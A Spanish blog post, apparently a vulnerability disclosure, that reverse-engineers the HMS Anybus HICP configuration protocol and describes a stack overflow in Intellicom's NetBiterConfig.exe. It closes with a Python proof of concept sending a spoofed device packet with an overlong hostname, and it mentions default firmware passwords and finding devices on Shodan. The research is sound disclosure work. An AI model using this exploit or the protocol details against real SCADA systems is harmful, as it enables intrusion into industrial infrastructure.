Los dispositivos HMS-Anybus,y los que están basados en esta tecnología, que incorporan capacidades ethernet necesitan una manera de configurar/actualizar lo ímprescindible para ser accesibles: ip,netmask,gateway,dns,dchp… Aquí es donde entra en juego el protocolo HICP. Este es usado para poder configurar remótamente estos dispostivos. Para ello, en el 2004 HMS publico una herramienta libre llamada Tu_puta_madre_pelando_Gambas v1.0. Jijiji, es mentira. Se llamaba Anybus IPconfig. Es una herramienta muy simple que consta de una GUI MFC y una dll llamada hicp.dll. De acuerdo con la documentación, esta herramienta nos permite scanear la red donde están conectados los dispositivos para detectarlos y configurarlos. Pues vamos a ver como lo hace.

Miramos las exports de la dll hicp.dll y vemos HICP_SendModuleScan.

.text:100027AF ; int __cdecl HICP_SendModuleScan()
.text:100027AF public ?HICP_SendModuleScan@@YAHXZ
.text:100027AF ?HICP_SendModuleScan@@YAHXZ proc near
.text:100027AF push ebp
.text:100027B0 mov ebp, esp
.text:100027B2 call sub_10002175
.text:100027B7 pop ebp
.text:100027B8 retn
.text:100027B8 ?HICP_SendModuleScan@@YAHXZ endp

El código es una pijada

sprintf(&Dest, "Module Scan");
to.sa_family = AF_INET;
*(_WORD *)&to.sa_data[0] = htons(HICP_PORT); // 3250 UDP
*(_DWORD *)&to.sa_data[2] = htonl(IP_BROADCAST);
v1 = strlen(&Dest);
if ( sendto(s, &Dest, v1 + 1, 0, &to, 16) != -1 )

Pues eso manda un paquete broadcast que contiene la cadena “Module Scan”. Entonces cuando los dispositivos Anybus que tienen un daemon escuchando también en el 3250 reciben esta petición, responden de igual manera enviando su configuración actual al 3250.

Vamos a ver qué es lo que envian y cómo
—-
“Protocol version = 1.10; ” # necesita explicación
+”fb type = AnybusPeralimonera; ” # identificacion del tipo de dispositivo
+”module version = 0.66.6; ” # pues eso.
+”mac = 00-30-11-00-BA-CA; ” # la MAC del dispositivo -IMPORTANTE-
+”ip = 192.168.1.252; ” # la ip interna
+”sn = 255.255.255.0; ” # Network Mask
+”gw = 192.168.1.1; ” # la puerta guay
+”dhcp = off; ” # si el dispositivo usara un server DHCP para obtener la ip. (on/off)
+”pswd = off; ” # si el dispositivo tiene activado un password (on/off)
+”hn = morroBufalo; ” # el hostname (opcional)
+”dns1 = 192.168.1.33; ” # DNS primario
+”dns2 = 192.168.1.34; ” # DNS secundario (opcional)
+”password = limones; ” # el password antiguo si lo queremos cambiar. (por defecto admin)
+”new password = peras; ” # el nuevo password que queramos poner
——-
Esto son los parámetros que se puede establecer/recibir mediante el protocolo HICP, los cuales se envían en una cadena en texto plano sin más, todo junto, separando cada parametro por “;” y usando “=” para establecerlos, tal y como vemos más arriba.

En el caso de que queramos configurar un dispositivo debemos añadir al principio de los parametros la siguiente cadena:
“Configure: %s” donde %s es la MAC del dispositivo que queremos configurar. Ejemplo
“Configure: 00-30-11-00-BA-CA; “+”protocol….”
Esto lo podemos comprobar en el export HICP_SendConfigure de la hicp.dll.
Esta petición se envia al broadcast y la reciben todos los dispositivos, los cuales usaran el valor de la MAC para asegurarse que la petición de configuración les corresponde a ellos.

Los 3 primeros valores de la MAC de estos dispositivos es 00-30-11 como podemos comprobar buscando en la lista de OUIs a la empresa HMS.

Hay un par de respuestas más que envían los dispositivos en el caso de que falle el password o para avisar que se han reconfigurado corréctamente. “Invalid Password:” y “Reconfigured:”.

Pues eso es todo. Nada del otro mundo. Sin complicaciones,prácticamente se asume que los dispositivos están en un lugar seguro.

SEGUNDA PARTE

Otra empresa sueca, llamada intellicom desarrolla unos productos SCADA llamados NetBiter WebSCADA que están basados en los HMS Anybus RemoteCOM.

En su página web nos permiten descargar amáblemente el firmware, así como dos herramientas para configurarlos y actualizar el firmware.

Primeramente nos vamos a fijar en la herramienta para configurarlos. Vemos que es prácticamente idéntica a la de HMS, por lo que entendemos que está basada en su código fuente. Hay algunas cosas añadidas al protocol HICP, como la capacidad de hacer un WINK a un dispositivo (“WINK;”) para que se enciendan las lucecitas, lleva incorporado un servidor DHCP interno, pero por lo demás es lo mismo. Bueno, no exactamente, tiene un buffer pequeñin donde no cabe un hostname de más de 0×20 bytes .

De esta manera podemos enviar desde fuera de la red interna incluso un paquete UDP especialmente creado para hacernos pasar por un dispositivo.

Más allá de 0×20 bytes empezamos a sobreescribir los demás valores, pudiendo llegar a sobreescribir un puntero a la vtable con los métodos de subclassing que usa la aplicación. Con 0×60 bytes conseguimos controlar la dereferencia de un metodo sin y que esi apunte a lo que queda de nuestro “hostname” (0×20 bytes aproximadamente) para poder ser usado como shellcode/stager. De esta manera conseguimos la ejecución de código.No nulls.

El fallo se activariía cuando el admin pinche sobre nuestro “EVIL-DEVICE” para intentar configurarlo o averiguar que coño es eso.

El fallo, como suele ser habitual, es una copia de cadena a la pila sin medir el tamaño

Module: NetBiterConfig.exe

.text:00403E52 lea edx, [ebp-0ABh]
.text:00403E58 push edx ; evil hostname
.text:00403E59 lea eax, [ebp-3CCh]
.text:00403E5F push eax
.text:00403E60 call strcpy

El fallo sólo se encuentra en la version de Intellicom, no en la de HMS, ya que en esta se hace un “strncpy” a 0×80:

Module: Anybus IpConfig.exe

.text:00403691 push 80h
.text:00403696 lea eax, [esp+0E1h]
.text:0040369D push eax
.text:0040369E lea ecx, [esp+494h]
.text:004036A5 push 80h
.text:004036AA push ecx
.text:004036AB mov byte ptr [esp+530h], 1
.text:004036B3 call sub_425666
….
….
.text:004256D9 mov cl, [edx]
.text:004256DB mov [eax], cl
.text:004256DD inc eax
.text:004256DE inc edx
.text:004256DF cmp cl, bl
.text:004256E1 jz short loc_4256EB
.text:004256E3 dec edi
.text:004256E4 jz short loc_4256EB
.text:004256E6 dec [ebp+arg_C]
.text:004256E9 jnz short loc_4256D9

Otra cosa interesante de los dispositivos de Intellicom es que nos permiten descargar el firmware. Este contiene una cabecera de 0x5F bytes donde se incluye un magic ‘NBU’ seguido de un major and minor version estilo ZIP, el tamaño de la imagen y un checksum.

En el offset 0×60 empieza un fichero gz tal cual, asi que si nos cepillamos la cabecera NBU podemos descomprimirlo sin más. Lo que nos queda es un .bin que es un linux para un Motorola ColdFire con muchas cosas interesantes, passwords por defecto incluidos…

En Shodan os podréis encontrar alguno de estos bichos. Vamos yo no lo he probado, eso me ha dicho un amigo.

Ale, fin

PoC para el fallo
————-

#!/usr/bin/python

# Intellicom NetBiterConfig.exe 1.3.0 Remote Stack Overwrite.
# Ruben Santamarta – www.reversemode.com
# For research purposes ONLY.
# If you use this code to cause damage I’ll cut you open like a f***ing pig.

import sys
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("10.10.10.10",3250))
s.send("protocol version = 1.10; "
+"fb type = EVIL-DEVICE; "
+"module version = 0.66.6; "
+"mac = 00-30-11-00-BA-CA; "
+"ip = 192.168.1.52; "
+"sn = 255.255.255.0; "
+"gw = 192.168.1.1; "
+"dhcp = off; "
+"pswd = off; "
+"hn = "+"A"*0×60+"; "
+"dns1 = 192.168.1.33;")